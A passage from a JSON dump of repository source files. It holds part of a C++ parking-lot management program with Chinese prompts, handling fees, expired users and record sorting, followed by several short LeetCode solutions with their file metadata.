strcmp(user[i].car2in,\\\"车辆未进场\\\")==0)\\r\\n\\t\\t\\t\\t\\t\\t{\\tfor(j=i;j<m;j++) //删除过期用户\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].id,user[j+1].id);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tuser[j].valid=user[j+1].valid;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].card,user[j+1].card);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid1,user[j+1].carid1);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid2,user[j+1].carid2);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car1in,user[j+1].car1in);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car2in,user[j+1].car2in);\\r\\n\\t\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t\\t\\tm=m-1;\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t\\t{\\tstrcpy(user[i].car1in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\r\\n\\t\\t\\telse if(tag==2)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tif(strcmp(user[i].car2in,\\\"vip\\\")==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tif(vo<user[i].valid)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[i].car2in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tpay=fee(user[i].valid,0,vo,hoursout);\\r\\n\\t\\t\\t\\t\\t\\tif(strcmp(user[i].car1in,\\\"无车辆\\\")==0 || strcmp(user[i].car1in,\\\"车辆未进场\\\")==0)\\r\\n\\t\\t\\t\\t\\t\\t{\\t\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(j=i;j<m;j++) //删除过期用户\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].id,user[j+1].id);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tuser[j].valid=user[j+1].valid;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].card,user[j+1].card);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid1,user[j+1].carid1);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid2,user[j+1].carid2);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car1in,user[j+1].car1in);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car2in,user[j+1].car2in);\\r\\n\\t\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t\\t\\tm=m-1;\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"由于您的用户卡已到期，您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[i].car2in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"由于您的用户卡已到期，您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\telse if(strcmp(user[i].car2in,\\\"vip\\\")!=0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tstrncpy(timi,user[i].car2in+2,6);\\r\\n\\t\\t\\t\\t\\tstrncpy(hourin,user[i].car2in+8,4);\\r\\n\\t\\t\\t\\t\\tvi=atol(timi);\\r\\n\\t\\t\\t\\t\\thoursin=atoi(hourin);\\r\\n\\t\\t\\t\\t\\tpay=fee(vi,hoursin,vo,hoursout);\\r\\n\\r\\n\\t\\t\\t\\t\\tif(vo<user[i].valid)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[i].car2in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tif(strcmp(user[i].car1in,\\\"无车辆\\\")==0 || strcmp(user[i].car1in,\\\"车辆未进场\\\")==0)\\r\\n\\t\\t\\t\\t\\t\\t{\\t\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(j=i;j<m;j++) //删除过期用户\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].id,user[j+1].id);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tuser[j].valid=user[j+1].valid;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].card,user[j+1].card);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid1,user[j+1].carid1);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid2,user[j+1].carid2);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car1in,user[j+1].car1in);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car2in,user[j+1].car2in);\\r\\n\\t\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t\\t\\tm=m-1;\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t\\t{\\tstrcpy(user[i].car2in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\telse if(strcmp(user[i].card,\\\"time\\\")==0) // 次卡未用完，操作同年卡\\r\\n\\t\\t{\\r\\n\\t\\t\\tif(tag==1)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tif(strcmp(user[i].car1in,\\\"vip\\\")==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tif(user[i].valid==1)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tif(strcmp(user[i].car2in,\\\"无车辆\\\")==0 || strcmp(user[i].car2in,\\\"车辆未进场\\\")==0)\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(j=i;j<m;j++) //删除过期用户\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].id,user[j+1].id);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tuser[j].valid=user[j+1].valid;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].card,user[j+1].card);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid1,user[j+1].carid1);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid2,user[j+1].carid2);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car1in,user[j+1].car1in);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car2in,user[j+1].car2in);\\r\\n\\t\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t\\t\\tm=m-1;\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tuser[i].valid=user[i].valid-1;\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[i].car1in,\\\"车辆未进入\\\");\\t\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\r\\n\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tuser[i].valid=user[i].valid-1;\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[i].car1in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t}\\r\\n\\r\\n\\t\\t\\t\\telse if(strcmp(user[i].car1in,\\\"vip\\\")!=0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tstrncpy(timi,user[i].car1in+2,6);\\r\\n\\t\\t\\t\\t\\tstrncpy(hourin,user[i].car1in+8,4);\\r\\n\\t\\t\\t\\t\\tvi=atol(timi);\\r\\n\\t\\t\\t\\t\\thoursin=atoi(hourin);\\r\\n\\t\\t\\t\\t\\tpay=fee(vi,hoursin,vo,hoursout);\\r\\n\\t\\t\\t\\t\\tif(user[i].valid==0)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tfor(j=i;j<m;j++) //删除过期用户\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].id,user[j+1].id);\\r\\n\\t\\t\\t\\t\\t\\t\\tuser[j].valid=user[j+1].valid;\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].card,user[j+1].card);\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid1,user[j+1].carid1);\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid2,user[j+1].carid2);\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car1in,user[j+1].car1in);\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car2in,user[j+1].car2in);\\r\\n\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t\\tm=m-1;\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[i].car1in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\r\\n\\t\\t\\telse if(tag==2)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tif(strcmp(user[i].car2in,\\\"vip\\\")==0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tif(user[i].valid==1)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tif(strcmp(user[i].car1in,\\\"无车辆\\\")==0 || strcmp(user[i].car1in,\\\"车辆未进场\\\")==0)\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(j=i;j<m;j++) //删除过期用户\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].id,user[j+1].id);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tuser[j].valid=user[j+1].valid;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].card,user[j+1].card);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid1,user[j+1].carid1);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid2,user[j+1].carid2);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car1in,user[j+1].car1in);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car2in,user[j+1].car2in);\\r\\n\\t\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t\\t\\tm=m-1;\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tuser[i].valid=user[i].valid-1;\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[i].car2in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\r\\n\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tuser[i].valid=user[i].valid-1;\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[i].car2in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t\\telse if(strcmp(user[i].car2in,\\\"vip\\\")!=0)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tstrncpy(timi,user[i].car2in+2,6);\\r\\n\\t\\t\\t\\t\\tstrncpy(hourin,user[i].car2in+8,4);\\r\\n\\t\\t\\t\\t\\tvi=atol(timi);\\r\\n\\t\\t\\t\\t\\thoursin=atoi(hourin);\\r\\n\\t\\t\\t\\t\\tpay=fee(vi,hoursin,vo,hoursout);\\r\\n\\r\\n\\t\\t\\t\\t\\tif(user[i].valid==0)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tfor(j=i;j<m;j++) //删除过期用户\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].id,user[j+1].id);\\r\\n\\t\\t\\t\\t\\t\\t\\tuser[j].valid=user[j+1].valid;\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].card,user[j+1].card);\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid1,user[j+1].carid1);\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid2,user[j+1].carid2);\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car1in,user[j+1].car1in);\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car2in,user[j+1].car2in);\\r\\n\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t\\tm=m-1;\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[i].car2in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t\\telse if(strcmp(user[i].card,\\\"temp\\\")==0)\\r\\n\\t\\t{\\r\\n\\t\\t\\tstrncpy(timi,user[i].car1in+2,6);\\r\\n\\t\\t\\tstrncpy(hourin,user[i].car1in+8,4);\\r\\n\\t\\t\\tvi=atol(timi);\\r\\n\\t\\t\\thoursin=atoi(hourin);\\r\\n\\t\\t\\tpay=fee(vi,hoursin,vo,hoursout);\\r\\n\\r\\n\\t\\t\\tfor(j=i;j<m;j++) //删除过期用户\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tstrcpy(user[j].id,user[j+1].id);\\r\\n\\t\\t\\t\\tuser[j].valid=user[j+1].valid;\\r\\n\\t\\t\\t\\tstrcpy(user[j].card,user[j+1].card);\\r\\n\\t\\t\\t\\tstrcpy(user[j].carid1,user[j+1].carid1);\\r\\n\\t\\t\\t\\tstrcpy(user[j].carid2,user[j+1].carid2);\\r\\n\\t\\t\\t\\tstrcpy(user[j].car1in,user[j+1].car1in);\\r\\n\\t\\t\\t\\tstrcpy(user[j].car2in,user[j+1].car2in);\\r\\n\\t\\t\\t};\\r\\n\\t\\t\\tm=m-1;\\r\\n\\t\\t\\tprintf(\\\"您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t}\\r\\n\\t\\tsave(m);\\r\\n\\t}\\r\\n\\telse\\r\\n\\t\\tprintf(\\\"未查找到该车辆！\\\");\\r\\n};\\r\\n\\r\\nbool cmp_id(USER a,USER b){return strcmp(a.id,b.id)<0;}\\r\\nbool cmp_card(USER a,USER b){return strcmp(a.card,b.card)<0;}\\r\\nbool cmp_v(USER a,USER b){return a.valid<b.valid;}\\r\\nbool cmp_car(USER a,USER b){return strcmp(a.carid1,b.carid1)<0;}\\r\\nbool cmp_in(USER a,USER b){return strcmp(a.car1in,b.car1in)<0;}\\r\\n\\r\\nvoid sort(){\\r\\n\\tFILE* fp;\\r\\n\\tint m=load();\\r\\n\\tint i,j,k,s1,s2,flag;\\r\\n\\tdo\\r\\n\\t{\\r\\n\\t\\tprintf(\\\"1.用户ID 2.卡类型 3.有效日期/有效次数 4.车牌号 5.入场时间 6.放弃排序\\\\n\\\");\\r\\n\\t printf(\\\"您要对那种字段排序？请输入其对应的代号：\\\");\\r\\n\\t scanf(\\\"%d\\\",&s1);\\r\\n\\t if(s1<1 || s1>6)\\r\\n\\t\\t{\\r\\n\\t\\t\\tprintf(\\\"输入不合法，请重新输入：\\\");\\r\\n\\t\\t\\tscanf(\\\"%d\\\",&s1);\\r\\n\\t\\t\\tflag=0;\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t}\\r\\n\\t\\telse\\r\\n\\t\\t{\\r\\n\\t\\t\\tflag=1;\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t}\\r\\n\\t}while(!flag);\\r\\n\\r\\n\\tswitch(s1)\\r\\n\\t{\\r\\n\\tcase 1: // 按id排序\\r\\n\\t\\tstd::sort(user,user+m,cmp_id);\\r\\n\\t\\tbreak;\\r\\n\\tcase 2: //按卡类型排序\\r\\n\\t\\tstd::sort(user,user+m,cmp_card);\\r\\n\\t\\tbreak;\\r\\n\\tcase 3: //按有效期排序\\r\\n\\t\\tstd::sort(user,user+m,cmp_v);\\r\\n\\t\\tbreak;\\r\\n\\tcase 4: // 按车牌号排序\\r\\n\\t\\tstd::sort(user,user+m,cmp_car);\\r\\n\\t\\tbreak;\\r\\n\\tcase 5: // 按入场时间排序\\r\\n\\t\\tstd::sort(user,user+m,cmp_in);\\r\\n\\t\\tbreak;\\r\\n\\tdefault:return;\\r\\n\\t}\\r\\n\\tprintf(\\\"降序排列选择1，升序排列选择2：\\\");\\r\\n\\tscanf(\\\"%d\\\",&s2);\\r\\n\\tif(s2==1)\\r\\n\\t{\\r\\n\\t\\tfor(i=m-1;i>=0;i--){\\r\\n\\t\\t\\tprintf(\\\"\\\\t%s,\\\\t%s,\\\\t%d,\\\\t%s,\\\\t%s,\\\\t%s,\\\\t%s\\\\n\\\",user[i].id,user[i].card,user[i].valid,user[i].carid1,user[i].carid2,user[i].car1in,user[i].car2in);\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\telse if(s2==2)\\r\\n\\t{\\r\\n\\t\\tfor(i=0;i<m;i++)\\r\\n\\t\\t\\tprintf(\\\"\\\\t%s,\\\\t%s,\\\\t%d,\\\\t%s,\\\\t%s,\\\\t%s,\\\\t%s\\\\n\\\",user[i].id,user[i].card,user[i].valid,user[i].carid1,user[i].carid2,user[i].car1in,user[i].car2in);\\r\\n\\t};\\r\\n};\\r\\n\\r\\n\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.5014641284942627,\n \"alphanum_fraction\": 0.5065885782241821,\n \"avg_line_length\": 24.30769157409668,\n \"blob_id\": \"9763e12cee4897f6caa7391a59f669ebb85657a4\",\n \"content_id\": \"210156a721f0d350e7f36d5f1f99742cb86294ac\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1384,\n \"license_type\": \"no_license\",\n \"max_line_length\": 90,\n \"num_lines\": 52,\n \"path\": \"/leetcode/leetcode938.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 938. 二叉搜索树的范围和\\r\\n\\r\\nstruct TreeNode {\\r\\n int val;\\r\\n TreeNode *left;\\r\\n TreeNode *right;\\r\\n TreeNode() : val(0), left(nullptr), right(nullptr) {}\\r\\n TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}\\r\\n TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {}\\r\\n};\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n void midOrder(TreeNode *root,vector<int> &res){\\r\\n if(!root) return;\\r\\n midOrder(root->left, res);\\r\\n res.push_back(root->val);\\r\\n midOrder(root->right, res);\\r\\n }\\r\\n int rangeSumBST(TreeNode* root, int low, int high) {\\r\\n int cnt = 0;\\r\\n vector<int> vec;\\r\\n midOrder(root,vec);\\r\\n for(int i = 0; i < vec.size() && vec[i] <= high; i++){\\r\\n if(vec[i] >= low){\\r\\n cnt += vec[i];\\r\\n }\\r\\n }\\r\\n return cnt;\\r\\n }\\r\\n};\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int cnt = 0, l, h;\\r\\n void midOrder(TreeNode *root){\\r\\n if(!root) return;\\r\\n midOrder(root->left);\\r\\n if(root->val >= l && root->val <= h){\\r\\n cnt += root->val;\\r\\n } else if(root->val > h) return;\\r\\n midOrder(root->right);\\r\\n }\\r\\n int rangeSumBST(TreeNode* root, int low, int high) {\\r\\n l = low, h = high;\\r\\n midOrder(root);\\r\\n return cnt;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.4268292784690857,\n \"alphanum_fraction\": 0.4481707215309143,\n \"avg_line_length\": 18.625,\n \"blob_id\": \"04746ccc57a770036d9337946a961c2a595117b9\",\n \"content_id\": \"344e53b55392be5e4ab1aa67bfb7ceefea54c8dc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 338,\n \"license_type\": \"no_license\",\n \"max_line_length\": 41,\n \"num_lines\": 16,\n \"path\": \"/leetcode/leetcode344.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 344. 反转字符串\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n void reverseString(vector<char>& s) {\\r\\n int size = s.size();\\r\\n for(int i = 0; i < size/2; i++){\\r\\n char c = s[i];\\r\\n s[i] = s[size-i-1];\\r\\n s[size-i-1] = c;\\r\\n }\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.3904418349266052,\n \"alphanum_fraction\": 0.4138863980770111,\n \"avg_line_length\": 24.404762268066406,\n \"blob_id\": \"4854f761625a9da358d54847eb0e18eca7d0e91f\",\n \"content_id\": \"7c84e2a4cbc6872e5b4a2562be681f28c1591610\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1117,\n \"license_type\": \"no_license\",\n \"max_line_length\": 59,\n \"num_lines\": 42,\n \"path\": \"/leetcode/leetcode2.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 2.两数相加\\r\\n\\r\\nstruct ListNode {\\r\\n int val;\\r\\n ListNode *next;\\r\\n ListNode() : val(0), next(nullptr) {}\\r\\n ListNode(int x) : val(x), next(nullptr) {}\\r\\n ListNode(int x, ListNode *next) : val(x), next(next) {}\\r\\n};\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) {\\r\\n ListNode *head = nullptr, *temp = head;\\r\\n int carry = 0, sum = 0;\\r\\n while(l1 != nullptr || l2 != nullptr || carry == 1)\\r\\n {\\r\\n if(l1 != nullptr){\\r\\n sum += l1->val;\\r\\n l1 = l1->next;\\r\\n }\\r\\n if(l2 != nullptr){\\r\\n sum += l2->val;\\r\\n l2 = l2->next;\\r\\n }\\r\\n sum += carry;\\r\\n if(!head) {\\r\\n head = temp = new ListNode(sum%10);\\r\\n carry = sum/10;\\r\\n } else {\\r\\n temp->next = new ListNode(sum%10);\\r\\n carry = sum/10;\\r\\n temp = temp->next;\\r\\n }\\r\\n sum = 0;\\r\\n }\\r\\n return head;\\r\\n }\\r\\n};\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.41961851716041565,\n \"alphanum_fraction\": 0.4291553199291229,\n \"avg_line_length\": 25.259260177612305,\n \"blob_id\": \"4d50bacb15da514d08ed2bb375c2fd24a3c0ca80\",\n \"content_id\": \"5549e2b4d8771803bc6752e059814bad39b9f973\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 746,\n \"license_type\": \"no_license\",\n \"max_line_length\": 72,\n \"num_lines\": 27,\n \"path\": \"/leetcode/leetcode819.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 819. 最常见的单词\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n string mostCommonWord(string paragraph, vector<string>& banned) {\\r\\n unordered_map<string,int>mp,ban;\\r\\n string res, tmp;\\r\\n int cnt = 0;\\r\\n for(int i = 0; i < banned.size(); i++){\\r\\n ban[banned[i]]++;\\r\\n }\\r\\n for(int i = 0; i <= paragraph.size(); i++){\\r\\n while(isalpha(paragraph[i])) tmp += tolower(paragraph[i++]);\\r\\n if(ban[tmp] != 1 && tmp != \\\"\\\"){\\r\\n if(cnt < ++mp[tmp]){\\r\\n cnt = mp[tmp];\\r\\n res = tmp;\\r\\n }\\r\\n }\\r\\n tmp.clear();\\r\\n }\\r\\n return res;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.3715847134590149,\n \"alphanum_fraction\": 0.3846994638442993,\n \"avg_line_length\": 25.787878036499023,\n \"blob_id\": \"9ad0bfc88e48acd22bfa1b88a14593156b614b24\",\n \"content_id\": \"319d2544e5a22b6f77703d17786e93256f35b940\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 